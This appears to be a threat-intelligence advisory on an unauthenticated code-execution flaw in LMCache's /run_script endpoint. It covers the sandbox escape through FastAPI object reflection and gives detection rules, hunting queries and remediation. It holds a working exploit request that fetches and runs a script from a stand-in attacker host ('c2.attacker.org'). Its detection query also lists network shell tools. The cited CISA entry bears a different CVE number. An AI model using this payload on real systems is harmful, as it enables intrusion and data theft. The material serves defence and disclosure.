CVE-2026-107204: LMCache Distributed KVCache Store Unauthenticated Remote Code Execution via /run_script Endpoint
HERMES THREAT SCORE & AGENTIC INFRASTRUCTURE EVALUATION
Target:LMCache Distributed KVCache Store โ Internal API & Multiprocess HTTP Server (run_script_api.py) Both CVSS v3.1 (9.8 Critical) and CVSS v4.0 (9.3 Critical) evaluate this vulnerability as an unauthenticated remote execution flaw across network boundaries. The Hermes Threat Score assesses it at 95 (CRITICAL) with an Agentic Security Score (HASS) of 98 (CRITICAL). LMCache serves as the high-throughput distributed Key-Value cache fabric across disaggregated prefill and decode clusters running vLLM, Mooncake, and SGLang. The vulnerability resides in an unprotected /run_script endpoint exposed on internal API and multiprocessing HTTP servers. While developers attempted to sandbox execution by stripping global namespaces, injecting the live FastAPI application instance allows attackers to traverse object attributes, recover pristine __builtins__, import the os module, and execute arbitrary commands. Beyond standard host compromise, this grants untrusted network actors direct, unauthenticated control over multi-tenant LLM context memory, enabling invisible attention-tensor tampering (MITRE ATLAS AML.T0043) and cross-session prompt exfiltration.
CVE-2026-107204: LMCache Distributed KVCache Store Unauthenticated Remote Code Execution via /run_script EndpointVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in LMCache Distributed KVCache Store documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Technical Context & Affected Architecture Matrix
Section titled โ1. Technical Context & Affected Architecture MatrixโLMCache coordinates multi-tier KV cache pooling across GPU high-bandwidth memory (HBM), host DRAM, local NVMe, and network stores. It exposes both multiprocess communication interfaces and lightweight FastAPI web services to allow coordination between inference worker processes and remote cache nodes.
| Parameter | Technical Specification | Operational Details |
|---|---|---|
| CVE Identifier | CVE-2026-107204 | International vulnerability catalog identifier |
| Software Platform | LMCache Distributed KVCache Store | Distributed LLM inference memory acceleration engine |
| Vulnerable Components | lmcache/v1/internal_api_server/common/run_script_api.py / lmcache/v1/multiprocess/http_apis/common_api.py | FastAPI route handlers for /run_script |
| Vulnerability Class | CWE-306 / CWE-94 / CWE-78 | Missing Authentication / Arbitrary Code Execution |
| Attack Vector | Network (Port 8000/tcp, Port 65432/tcp) | Unauthenticated HTTP POST with JSON payload |
| Remediation Release | LMCache v0.5.6 | Removal of debug execution endpoints & token verification |
[ Unauthenticated Attacker ] | HTTP POST /run_script to LMCache Internal API Port Payload: Python code exploiting FastAPI app reflection | v +----------------------------------------------------+ | LMCache Internal HTTP API (FastAPI Router) | | 0.0.0.0:8000 / 0.0.0.0:65432 Unauthenticated | +----------------------------------------------------+ | exec(script, {"app": app, "__builtins__": {}}) | v +----------------------------------------------------+ | Sandbox Escape via App Object | | app.__class__.__bases__[0].__subclasses__() | | or app.extra['__builtins__'] -> import os | +----------------------------------------------------+ | v +----------------------------------------------------+ | Arbitrary OS Command Execution (RCE) | | Privileges: Inference Server Daemon | +----------------------------------------------------+ / | \ v v v [ Poison KV Caches ] [ Exfiltrate Prompts ] [ Hijack GPU Node ] AML.T0043 Tensor Tamper Multi-Tenant Memory Leak Container Breakout2. Root Cause Analysis & Vulnerable Code Anatomy
Section titled โ2. Root Cause Analysis & Vulnerable Code AnatomyโThe root cause exists in two related API handler modules: lmcache/v1/internal_api_server/common/run_script_api.py and lmcache/v1/multiprocess/http_apis/common_api.py.
Developers implemented a dynamic script execution mechanism designed for rapid debugging and cluster telemetry. The route handler was defined without any dependency on authentication or API key middleware:
# Vulnerable excerpt from lmcache/v1/internal_api_server/common/run_script_api.pyfrom fastapi import APIRouter, Request, HTTPExceptionfrom pydantic import BaseModel
router = APIRouter()
class ScriptRequest(BaseModel): script: str
@router.post("/run_script")async def run_script(request: Request, body: ScriptRequest): # CRITICAL FLAW 1: No authentication, session token, or mTLS check app = request.app
# Flawed attempt at sandboxing: # Overriding __builtins__ with an empty or sanitized dict execution_context = { "app": app, "__builtins__": {} # Supposed to prevent __import__ }
try: # CRITICAL FLAW 2: Direct exec() of user-supplied code exec(body.script, execution_context) return {"status": "success"} except Exception as e: raise HTTPException(status_code=500, detail=str(e))The Sandbox Breakout Mechanism
Section titled โThe Sandbox Breakout MechanismโThe developer intended to block dangerous functions like __import__, open(), and eval() by setting "__builtins__": {}. However, passing the live app instance into the execution dictionary breaks this restriction completely:
- Object Hierarchy Navigation: In Python, any class instance maintains references to its class (
__class__), base classes (__bases__), and global module scopes (__init__.__globals__). - Accessing Module Globals: By querying
app.router.__class__.__init__.__globals__, an attacker gains access to thesysandbuiltinsmodules imported by FastAPI. - Restoring
__import__: Through this path, the attacker retrieves the originalbuiltins.__import__function and importsosorsubprocess, achieving full remote command execution.
3. Weaponization Chain & Attack Vectors
Section titled โ3. Weaponization Chain & Attack VectorsโAdversaries weaponize CVE-2026-107204 through a straightforward multi-step exploit sequence:
[Discovery] โโ> [Payload Formulation] โโ> [HTTP POST] โโ> [Sandbox Breakout] โโ> [Host Takeover]Scan 8000/tcp FastAPI Reflection /run_script os.system('id') Reverse Shell &Shodan/Masscan Builtins Recovery Unauthenticated Inference Daemon Cache PoisoningExploit Proof of Concept
Section titled โExploit Proof of ConceptโAn attacker transmits a JSON payload to the unauthenticated port:
POST /run_script HTTP/1.1Host: inference-node-04.cluster.internal:8000Content-Type: application/jsonContent-Length: 268
{ "script": "builtins = [c for c in app.router.__class__.__init__.__globals__.values() if hasattr(c, '__import__') or (isinstance(c, dict) and '__builtins__' in c)][0]\nos = builtins['__import__']('os')\nos.system('curl -s https://c2.attacker.org/beacon | bash')"}Upon processing, the LMCache process executes the payload synchronously. Because inference worker daemons frequently operate with elevated container capabilities (such as --ipc=host, --gpus all, or shared memory volume mounts for RDMA transfer), the attacker can access neighboring container memory spaces and leverage GPU hardware devices.
4. Forensic Triage & Threat Hunting
Section titled โ4. Forensic Triage & Threat HuntingโSecurity operations and DFIR teams investigating potential exploitation of CVE-2026-107204 should examine HTTP access logs, process execution telemetry, and GPU cluster network flows.
title: LMCache Unauthenticated Script Execution Endpoint Invocationid: 8c1d5f30-e340-4b21-9961-fa89b3f72a04status: experimentaldescription: Detects HTTP POST requests targeting the LMCache /run_script endpoint indicating potential CVE-2026-107204 exploitation.author: Hermes Codex Cyber Threat Intelligencedate: 2026-10-08logsource: category: webserver product: ingress_controller / envoy / nginx / uvicorndetection: selection_path: cs-method: 'POST' cs-uri-stem|endswith: '/run_script' selection_payload: cs-uri-query|contains: - '__globals__' - '__builtins__' - '__subclasses__' condition: selection_path or selection_payloadfields: - c-ip - cs-method - cs-uri-stem - sc-statusfalsepositives: - Authorized internal maintenance scripts in isolated dev clusters (rare)level: criticaltags: - attack.execution - attack.t1059.006 - cve.cve-2026-107204// Azure Monitor / Microsoft Sentinel Query// Identifies anomalous child processes spawned by python/uvicorn inference workersDeviceProcessEvents| where InitiatingProcessFileName in~ ("python", "python3", "uvicorn", "gunicorn")| where ProcessCommandLine has_any ("sh", "bash", "curl", "wget", "nc", "socat", "id", "whoami")| where InitiatingProcessCommandLine has_any ("lmcache", "vllm", "mooncake_store")| project TimeGenerated, DeviceName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, AccountName| order by TimeGenerated descindex=web sourcetype=access_combined uri_path="*/run_script" method=POST| stats count, earliest(_time) as first_seen, latest(_time) as last_seen by src_ip, dest_ip, status, uri_path| where count > 0| sort - count#!/usr/bin/env bash# Forensic inspection of active LMCache listeners and suspect connectionsecho "[*] Checking listening ports associated with LMCache processes..."ss -tulpn | grep -E 'python.*(8000|65432)'
echo "[*] Searching LMCache log files for /run_script invocations..."grep -Ern 'POST /run_script' /var/log/ /data/logs/ /tmp/ 2>/dev/null || true
echo "[*] Verifying installed LMCache version..."python3 -c "import lmcache; print('LMCache Version:', getattr(lmcache, '__version__', 'unknown'))"5. Remediation & Hardening Strategy
Section titled โ5. Remediation & Hardening Strategyโ-
Upgrade LMCache: Deploy LMCache version
0.5.6or higher immediately across all inference nodes and Kubernetes deployment manifests:Terminal window pip install --upgrade "lmcache>=0.5.6" -
Decommission Debug Endpoints: In
0.5.6, the/run_scriptendpoint has been eliminated from the production API router. If immediate upgrade is delayed, block the path in your edge ingress or reverse proxy:# Nginx mitigation snippetlocation /run_script {return 403 "Forbidden";} -
Network Isolation & Loopback Binding: Ensure LMCache internal coordination endpoints bind strictly to loopback (
127.0.0.1) or private cluster pod CIDRs using Kubernetes NetworkPolicies, preventing ingress exposure from external or multi-tenant networks. -
Restrict Container Capabilities: Run inference containers with drop-all Linux capabilities and enforce non-root UID execution (
securityContext.runAsNonRoot: true).